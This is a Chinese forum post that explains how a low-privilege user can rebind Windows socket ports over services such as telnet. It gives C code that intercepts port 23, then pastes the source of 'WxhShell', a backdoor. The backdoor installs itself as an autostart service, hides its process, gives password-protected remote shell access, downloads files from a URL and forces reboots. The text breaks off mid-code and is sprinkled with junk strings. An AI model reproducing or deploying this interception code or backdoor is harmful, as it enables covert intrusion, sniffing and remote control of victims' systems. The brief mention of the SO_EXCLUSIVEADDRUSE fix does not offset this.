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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N{L]H _=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,TeDJ\k  
M\>y&'J-  
  saddr.sin_family = AF_INET; W;OxH"eC  
J+w"{ O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {b7P1}>-*  
XZJ}nXy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /Y|9!{.  
pcoJ\&&W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Uiv;0Tovl  
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  这意味着什么?意味着可以进行如下的攻击: VOp8 ,!  
%U-KQI0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !A&Vg #  
>2Z:=HT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L'z;*N3D  
wC..LdSR  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 12;" K?7{  
dcYUw]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4,wdIdSm4  
(gs"2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gP^'4>Jr  
>x (^g~i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mzfj!0zR*  
Q3_ia 5 `O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {- 7T\mj  
FzFY2h;n]B  
  #include :q0C$xF  
  #include I`p44}D3  
  #include b;Q cBGwKT  
  #include    (:vY:-\ bO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w9H%u0V?  
  int main() 3Akb|r  
  { 'hg, W]  
  WORD wVersionRequested; /N{xFt/?  
  DWORD ret; nke[}Hqf  
  WSADATA wsaData; =y[eQS$  
  BOOL val; T[~ak"M  
  SOCKADDR_IN saddr; QJvA  
  SOCKADDR_IN scaddr; \E]s]ft;+  
  int err; lf[ (  
  SOCKET s; NrhU70y  
  SOCKET sc; #0hX)7(j  
  int caddsize; w!8h4U. ;  
  HANDLE mt; \7jcZ~FBX%  
  DWORD tid;   X];a(7+2  
  wVersionRequested = MAKEWORD( 2, 2 ); &&Vz=6N  
  err = WSAStartup( wVersionRequested, &wsaData ); N}pE{~Y  
  if ( err != 0 ) { By:A9 s  
  printf("error!WSAStartup failed!\n"); 8&3+=<U  
  return -1; CIYTs,u#  
  } kplyZ  
  saddr.sin_family = AF_INET; +8mfq\ Y1  
   )u(`s`zd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 HVh+Z k  
mY |$=n5X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~,m6g&>R  
  saddr.sin_port = htons(23); q@r8V&-<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oT_k"]~Q~2  
  { fL' 42  
  printf("error!socket failed!\n"); r#d~($[93  
  return -1; q71Tg  
  } ;, 'eO i  
  val = TRUE; $l0^2o=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 haqL DVrf  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cuW$%$ F  
  { $*`fn{2  
  printf("error!setsockopt failed!\n"); `?2S4lN/  
  return -1; !sK{:6s  
  } 5lVDYmh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; co yy T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wd3/Y/MD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y*2:(nI  
KR?-<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (VU: &.  
  { ;~tKNytD`B  
  ret=GetLastError(); dHg[0Br)r  
  printf("error!bind failed!\n"); f*p=]]y  
  return -1; o%RyE]pw,  
  } 7K%Ac  
  listen(s,2); B ,e3r  
  while(1) AdKv!Ta5b  
  { 1`X{$mxw  
  caddsize = sizeof(scaddr); xpRQ"6  
  //接受连接请求 AQ'~EbH(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #e{l:!uS\  
  if(sc!=INVALID_SOCKET) bCy.S.`jHQ  
  { o3qBRT0[R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); : v<|y F  
  if(mt==NULL) 3{]csZvW  
  { cRI&cN"o  
  printf("Thread Creat Failed!\n"); g.iiT/b  
  break; D-69/3PvP  
  } [ !].G=8  
  } #zZQ@+5zw  
  CloseHandle(mt); j^Bo0{{  
  } ?2aglj*"v,  
  closesocket(s); ||0mfb  
  WSACleanup(); SB:-zQ5  
  return 0; kOs_]  
  }   M(jSv  
  DWORD WINAPI ClientThread(LPVOID lpParam) [qI, $ +  
  { bmGIxBRq  
  SOCKET ss = (SOCKET)lpParam; o/)]z  
  SOCKET sc; z|<6y~5,  
  unsigned char buf[4096]; wS hsu_(i  
  SOCKADDR_IN saddr; 7??+8T#n*  
  long num; ,_F1g<^@u  
  DWORD val; -'*B%yy  
  DWORD ret; N0vr>e`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K*d+pImrV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Vyf r>pgW1  
  saddr.sin_family = AF_INET; G  ZDyw9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8I$>e (  
  saddr.sin_port = htons(23); */u_RJ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]wc'h>w  
  { l _dWS9  
  printf("error!socket failed!\n"); 5,Mc` IIK1  
  return -1; ~Yb5F YE  
  } |zKFF?7#wE  
  val = 100; `DUMTFcMX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'W@X139zq  
  { x32hO;  
  ret = GetLastError(); #||^l_  
  return -1; )4toBDg"  
  } v8 I&~_b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  |'aGj  
  { ~*79rDs{  
  ret = GetLastError(); v1oq[+  
  return -1; V<*PaS..  
  } |~Z.l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )CD4k:bm  
  { (1^AzE%U+Z  
  printf("error!socket connect failed!\n"); @/9#Z4&d0  
  closesocket(sc); I~-W4{  
  closesocket(ss); x&@. [FJhO  
  return -1; zgI!S6q  
  } '-N `u$3Y  
  while(1) N^*%{[<5  
  { 7;2j^qPr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <v>^#/.0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )+OI}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +C' u!^ )  
  num = recv(ss,buf,4096,0); .D!0$W mOZ  
  if(num>0) iqreIMWz  
  send(sc,buf,num,0); TwH%P2)x  
  else if(num==0) SIYBMe  
  break; ?\"GT]5D  
  num = recv(sc,buf,4096,0); 3X=9$xw_  
  if(num>0) K`{P/w  
  send(ss,buf,num,0); PzMJ^H{  
  else if(num==0) m(i84~  
  break; /Nt#|C>  
  } 4>-'wMW")  
  closesocket(ss); Vzn0;  
  closesocket(sc); ~!;*C  
  return 0 ; ZVs]_`(+  
  } {p[{5k 0  
9~n`6;R  
c @7d4Jz  
========================================================== q^; SZ^yW5  
)CJXk zOX  
下边附上一个代码,,WXhSHELL -d1 YG[1|  
zl^ %x1G  
========================================================== &kUEnwQ -  
duFVh8  
#include "stdafx.h" Q3[MzIk 4  
=(2y$,6g?  
#include <stdio.h> )S@e&a|  
#include <string.h> +pXYBwH 7Q  
#include <windows.h> |;sL*Vr  
#include <winsock2.h> f>!)y-7  
#include <winsvc.h> c<bV3,  
#include <urlmon.h> U*(/eEtd-  
>HNBTc=~t  
#pragma comment (lib, "Ws2_32.lib") Ne#FBRu5  
#pragma comment (lib, "urlmon.lib") kl%%b"h'  
M15Ce)oB1(  
#define MAX_USER   100 // 最大客户端连接数 >cU#($X$^  
#define BUF_SOCK   200 // sock buffer nWb*u  
#define KEY_BUFF   255 // 输入 buffer 'K&^y%~py,  
VRU"2mQ.P6  
#define REBOOT     0   // 重启 d!0iv'^t  
#define SHUTDOWN   1   // 关机 8?LsV<  
 >M~1{  
#define DEF_PORT   5000 // 监听端口 )Q= EmZbJz  
[$M=+YRHMW  
#define REG_LEN     16   // 注册表键长度 K)b@,/5  
#define SVC_LEN     80   // NT服务名长度 K</EVt,U~  
#N Qpr  
// 从dll定义API ]8@s+ N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qW+'#Jh@TV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %hDx UZ#0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); niC ; WK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C2}n &{T  
V6Z~#=EQ  
// wxhshell配置信息 $~7uDq  
struct WSCFG { 3 @ahN2  
  int ws_port;         // 监听端口 M^IEu }  
  char ws_passstr[REG_LEN]; // 口令 ?#s9@R1  
  int ws_autoins;       // 安装标记, 1=yes 0=no -&q@|h'  
  char ws_regname[REG_LEN]; // 注册表键名 cD.afy  
  char ws_svcname[REG_LEN]; // 服务名 ;QO3^P}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J([Y4Em5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y*VF1M,2_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :m.6a4vx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )R6h 1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]gjQy.c|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d ~#B,+  
43wm_4C!H  
}; xmVW6 ,<?  
$40G$w  
// default Wxhshell configuration 'h} (>%  
struct WSCFG wscfg={DEF_PORT, aa2 vk)~  
    "xuhuanlingzhe", o8_))  
    1, `PY=B$?{4  
    "Wxhshell", 6-E>-9]'E  
    "Wxhshell", VAW:h5j2@  
            "WxhShell Service", r&%TKm^/  
    "Wrsky Windows CmdShell Service", u ,R R|/@  
    "Please Input Your Password: ", R7\T.;8+  
  1, Cv[_N%3[  
  "http://www.wrsky.com/wxhshell.exe", J.;!l   
  "Wxhshell.exe" AQ%B&Q(V1  
    }; K g6hySb  
GFGW'}w-  
// 消息定义模块 izDfpr}s4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m^!Kthq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0<i8 ;2KD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i?wEd!=w  
char *msg_ws_ext="\n\rExit."; T.(C`/VM  
char *msg_ws_end="\n\rQuit."; A_e&#O  
char *msg_ws_boot="\n\rReboot..."; /a,"b8  
char *msg_ws_poff="\n\rShutdown..."; 2# 72B  
char *msg_ws_down="\n\rSave to "; ~ =GwNo_  
P2Jo^WS  
char *msg_ws_err="\n\rErr!"; dNu?O>=  
char *msg_ws_ok="\n\rOK!"; joz0D!-"#  
^F)t>K$0m  
char ExeFile[MAX_PATH]; Mz7qC3Z  
int nUser = 0; knn9s0'Q  
HANDLE handles[MAX_USER]; nsL"'iQ  
int OsIsNt; b>h L*9  
gmqA 5W~y  
SERVICE_STATUS       serviceStatus; &]"Z x0t5%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vh"wXu  
w#v-h3XcF  
// 函数声明 }j$tFFVi~  
int Install(void); ZH)Jq^^RI  
int Uninstall(void); ^HhV ?Iqg  
int DownloadFile(char *sURL, SOCKET wsh); n\ 'PNB  
int Boot(int flag); bL`># M_^  
void HideProc(void); ;nq"jm  
int GetOsVer(void); bvW3[ V  
int Wxhshell(SOCKET wsl); ,(i`gH{D  
void TalkWithClient(void *cs); q2 b>Z6!5  
int CmdShell(SOCKET sock); 8vkCmV  
int StartFromService(void); >,x&L[3  
int StartWxhshell(LPSTR lpCmdLine); 'yo-`nNFD  
$^e(?P q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4A`U [r_>D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lY&Sx{-  
'4Drs}j5  
// 数据结构和表定义 P3!JA)p6a  
SERVICE_TABLE_ENTRY DispatchTable[] = `pb=y}  
{ D\^mh{q(  
{wscfg.ws_svcname, NTServiceMain}, 5BJn_<  
{NULL, NULL} H Y~[/H+:  
}; -zg 6^f_pW  
YEa<zhO8  
// 自我安装 l(Ya,/4  
int Install(void) s !IvUc7'  
{ 8e5imei  
  char svExeFile[MAX_PATH]; }<qZXb1  
  HKEY key; CwM 1 _3cE  
  strcpy(svExeFile,ExeFile); e:l7 w3?O  
<a&w$Zc/  
// 如果是win9x系统,修改注册表设为自启动 K=! C\T"I%  
if(!OsIsNt) { Nwj M=GG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u4tv= +jh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tn"@u&P *  
  RegCloseKey(key); {%_D> y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \9fJ)*-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eZ]>;5  
  RegCloseKey(key); j[Jwa*GQP  
  return 0; : HM~!7e  
    } .6!cHL3ln  
  } KVevvy)W  
} 2]y Hxo/6  
else { \[G"/]J  
;qO3m -(d  
// 如果是NT以上系统,安装为系统服务 c|@OD3w2lM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X?YT>+g;  
if (schSCManager!=0) % *ng *  
{ 'l<Oj&E  
  SC_HANDLE schService = CreateService "574%\#4z  
  ( 0Bt>JbGs4  
  schSCManager, eiCmd =O7  
  wscfg.ws_svcname, $O&N  
  wscfg.ws_svcdisp, 9?q ^yy  
  SERVICE_ALL_ACCESS, nA(5p?D+YB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y <`X$  
  SERVICE_AUTO_START, ~g9~D}48k'  
  SERVICE_ERROR_NORMAL, 4k9$' k  
  svExeFile, j u&v4]  
  NULL, yIf^vx_G  
  NULL, i[4!% FxB  
  NULL, bk0<i*ju7(  
  NULL, r $[{sW  
  NULL iGSF5S  
  ); E9b>wP  
  if (schService!=0) 1+"d-`'Z2O  
  { qpQiMiB#g'  
  CloseServiceHandle(schService); 9K;g\? 3  
  CloseServiceHandle(schSCManager); F~0iJnF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M6ZXq6J  
  strcat(svExeFile,wscfg.ws_svcname); >;]S+^dXY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hh%"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i%GiWanG  
  RegCloseKey(key); Z`f?7/"B  
  return 0; p' 6h9/  
    } 6B]i}nFH{+  
  } 6-~ZOMlV  
  CloseServiceHandle(schSCManager); >7)QdaB  
} rmi&{o:  
} R_9M-RP6*  
] *U+nG  
return 1; #)m [R5g(  
} Em4'b1mDX%  
H ?eG5  
// 自我卸载  #]QS   
int Uninstall(void) Q8A+\LR~)  
{ # F6<N]i  
  HKEY key; :L6%57  
(0l>P]"n   
if(!OsIsNt) { d}  5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A#{I- *D[  
  RegDeleteValue(key,wscfg.ws_regname); p I.~j]*:{  
  RegCloseKey(key); ^hsr/|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G*=&yx."E  
  RegDeleteValue(key,wscfg.ws_regname); KzX)6 |g{"  
  RegCloseKey(key); i03=Af3  
  return 0; mq}UUk@  
  } uP$i2Cy  
}  c_,pd  
} d04gmc&*  
else { zJh!Q**  
$WE=u9m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r oPC ^Q  
if (schSCManager!=0) PT~F ^8,)  
{ oB@)!'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cuI&Q?+c}  
  if (schService!=0) A6+qS [  
  { X40JCQx{+  
  if(DeleteService(schService)!=0) { 1;?w#/&t  
  CloseServiceHandle(schService); VU6+" 2+'2  
  CloseServiceHandle(schSCManager); Lctp=X4  
  return 0; N?8nlrDQ  
  } bl^pMt1fv  
  CloseServiceHandle(schService); iaQfxQP1w%  
  } EiP N44(  
  CloseServiceHandle(schSCManager); ]T(qk  
} oCLM'\  
} <(~Wg{  
vXZP>  
return 1; ?%%vQ ?  
} _v 8u%  
bMsThoePT  
// 从指定url下载文件 5z_Kkf?o  
int DownloadFile(char *sURL, SOCKET wsh) @+_pj.D  
{ xSO5?eR"u  
  HRESULT hr; ~[kI! [  
char seps[]= "/"; d|`8\fq  
char *token; fB&i{_J  
char *file; zsj]WP6 j  
char myURL[MAX_PATH]; z =\ENG|x#  
char myFILE[MAX_PATH]; 0C3Y =F  
Q<DXDvL  
strcpy(myURL,sURL); >s!k"s,  
  token=strtok(myURL,seps); Y9 Bk$$#\  
  while(token!=NULL) xT( pB-R  
  { /XA*:8~!  
    file=token; 9xK#( M  
  token=strtok(NULL,seps); bdvpH DA  
  } WRRR"Q$  
!b+!] 2~g}  
GetCurrentDirectory(MAX_PATH,myFILE); P(o>UDy  
strcat(myFILE, "\\"); !s ! el;G  
strcat(myFILE, file); KNN$+[_;H4  
  send(wsh,myFILE,strlen(myFILE),0); hD7vjg& Z  
send(wsh,"...",3,0); !HtW~8|:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oA:`=f%\  
  if(hr==S_OK) . Y$xNLoP[  
return 0; In;P33'p  
else iA`.y9'2  
return 1; 2f{a||  
KxBvL[/  
} xX0 wn?,~  
{iCX?Sb  
// 系统电源模块 sk_xQo#Y 3  
int Boot(int flag) @7;}6,)  
{ Q'hs,t1<  
  HANDLE hToken; |eFaOL|  
  TOKEN_PRIVILEGES tkp; ~$rSy|19  
mVN\  
  if(OsIsNt) { (dy:d^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K@oyvJ$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }7K~-  
    tkp.PrivilegeCount = 1; ;>fM?ae5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; biForT_no  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PBcb*7W  
if(flag==REBOOT) { /n:Q>8^n'W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V}~',o<m  
  return 0; |N3#of(  
} %sPq*w.  
else { $Y\7E/T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %Na` \`L{F  
  return 0; 2S4SG\  
} `Tk~?aY  
  } -i_XP]b&  
  else { jLY$P<u?%P  
if(flag==REBOOT) { f)V6VNW.3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d+5v[x~'  
  return 0; $" =3e]<  
} ka{!' ^  
else { .$Yp~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E8t{[N6d  
  return 0; <xrya _R?  
} : w>R|]  
} R((KAl]dL  
i=hA. y`  
return 1; NO/5pz}1  
} l<(jm{q?u  
5zyd;y)|'  
// win9x进程隐藏模块 S!^I<#d K  
void HideProc(void) Fiw^twz5  
{ ytV[x  
Gv[(0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y:Jgr&*,z  
  if ( hKernel != NULL ) dQAF;L  
  { cK\?wZ| Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e5"5 U7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H|MAbx 7  
    FreeLibrary(hKernel); [A] +Azc  
  } t1$pl6&,  
I*g[Y=  
return; /YvwQ  
} jfam/LL{V  
Adfnd  
// 获取操作系统版本 r;>.*60AT  
int GetOsVer(void) 10GU2a$0"$  
{ =.) :tGDp  
  OSVERSIONINFO winfo; }^b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RXu` DWN  
  GetVersionEx(&winfo); dYlVJ_0Zr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dl`{:ZR S  
  return 1; 9A|9:OdG1  
  else )t:8;;W@Ir  
  return 0; 2r]o>X  
} Ysw&J}6e  
~at:\h4:  
// 客户端句柄模块 T&:~=  
int Wxhshell(SOCKET wsl) Um*&S.y  
{ S0LaQ<9.  
  SOCKET wsh; THgEHR0,}[  
  struct sockaddr_in client; uU-1;m#N?  
  DWORD myID; afu!.}4Ct  
,Vof<,x0  
  while(nUser<MAX_USER) '!`]Zc  
{ qd~9uo&[Ig  
  int nSize=sizeof(client); gkca{BJ   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qagR?)N)u  
  if(wsh==INVALID_SOCKET) return 1; ]mC5Z6,1s  
>McEuoZx9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5dbj{r)s6i  
if(handles[nUser]==0) ov >5+"q)  
  closesocket(wsh); K*p3#iB  
else 3BF3$_u)o  
  nUser++; ^oClf(  
  } _~}2@&*G"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J: I@kM  
S&D8Rao5  
  return 0; e+<9Sh7&  
} 5ci1ce  
T {=&>pNK[  
// 关闭 socket @%fL*^yr;C  
void CloseIt(SOCKET wsh) ~]n=TEJ>  
{ 1qm*#4x  
closesocket(wsh); 9;L8%T (  
nUser--; K<50>uG  
ExitThread(0); r8[)Ccv  
} XK)0Mt\  
lB8g D  
// 客户端请求句柄 NK:! U  
void TalkWithClient(void *cs) vY,D02 EMw  
{ \]dvwN3x  
Z.s0ddM s  
  SOCKET wsh=(SOCKET)cs; (CJx Y(1K  
  char pwd[SVC_LEN]; A5_r(Z-5  
  char cmd[KEY_BUFF]; Ue"pNjd|  
char chr[1]; YgjN*8w\  
int i,j; 9o3?  
k-)Ls~#+  
  while (nUser < MAX_USER) { 2h)Qz+|7  
tX,x%(  
if(wscfg.ws_passstr) { fX>y^s?y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ToD_9i }6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D.ySnYzh  
  //ZeroMemory(pwd,KEY_BUFF); _N0N #L4M  
      i=0; /a6i`  
  while(i<SVC_LEN) { wyLyPJv  
\eRct_  
  // 设置超时 Nx E=^ v  
  fd_set FdRead; QUh`kt(E  
  struct timeval TimeOut; .8;0O M  
  FD_ZERO(&FdRead); "^Y zHq6  
  FD_SET(wsh,&FdRead); wxT( ktE  
  TimeOut.tv_sec=8; 6& 6|R3  
  TimeOut.tv_usec=0; SDVnyT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yM,Y8^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D_`NCnYG  
P4+PY 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b/ h#{'  
  pwd=chr[0]; rj4R/{h  
  if(chr[0]==0xd || chr[0]==0xa) { {kr14 l*2  
  pwd=0; M5L/3qLh1  
  break; cmU>A721  
  } K_!:oe7%  
  i++; 9}H]4"f7  
    } $ +$l?2  
p+d O w #  
  // 如果是非法用户,关闭 socket (%"9LYv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p./0N.  
} aK 7 }}  
!%.=35NS@E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i6g=fx6j*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v-/vj/4>  
$dA]GWW5A  
while(1) { ]b:>7_la  
9Hd_sNUu\  
  ZeroMemory(cmd,KEY_BUFF); :\y' ?d- Q  
JV_VM{w{K  
      // 自动支持客户端 telnet标准   f[ia0w5 m  
  j=0; 4yjIR?  
  while(j<KEY_BUFF) { \k^ojzJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8 VhU)fY  
  cmd[j]=chr[0]; g!9|1z  
  if(chr[0]==0xa || chr[0]==0xd) { l[rK)PM   
  cmd[j]=0; I0!]J{  
  break; $g/h=w@  
  } ?nWzJ5w3  
  j++; 3xiDt?&H  
    } g(,^'; j  
n|KYcU#  
  // 下载文件 U.JE \/  
  if(strstr(cmd,"http://")) { i83[':  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q|e-)FS)  
  if(DownloadFile(cmd,wsh)) Qkhor-f0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y*S:/b~y  
  else g4952u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o"_'cNAz  
  } u8M_2r  
  else { ncUS8z  
O%N.;Ve  
    switch(cmd[0]) { P(/eVD#v  
  \ Ce*5h  
  // 帮助 J_.cC  
  case '?': { bdG@%K',  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +C[g>c}d  
    break; d325Cw?  
  } ivyaGAF}+o  
  // 安装 ?_cOU@n  
  case 'i': { y%spI/(  
    if(Install()) e<[ ] W4"A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+8Ybq  
    else >P&1or)e%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5t"FNL <(M  
    break; -V;BkE76  
    } WqF$-rBJG^  
  // 卸载 =0!j"z=  
  case 'r': { RZ;s_16GQ  
    if(Uninstall()) Poa&htxe1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); py+\e" s  
    else S(?A3 H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [[zN Aq)"  
    break; }a.j~>rq  
    } zn7)>cQ905  
  // 显示 wxhshell 所在路径  bI8uw|c  
  case 'p': { ,isjiy J  
    char svExeFile[MAX_PATH]; S#$Kmm |  
    strcpy(svExeFile,"\n\r"); T~(Sc'8  
      strcat(svExeFile,ExeFile); m}\QGtJ6  
        send(wsh,svExeFile,strlen(svExeFile),0); aWJj@',_  
    break; p:z~>ca  
    } i7e6lC  
  // 重启 Y#tur`N  
  case 'b': { CxZh^V8LP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l`i97P?/W  
    if(Boot(REBOOT)) \C h01LR"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2E[7RBFY+\  
    else { I[d<SHo  
    closesocket(wsh); ]JV'z<  
    ExitThread(0); ]bY]YNt{7]  
    } (QJe-)0_y  
    break; rp{|{>'`.q  
    } x3Y)l1gh  
  // 关机 b*M?\ aA  
  case 'd': { XWyP'\  
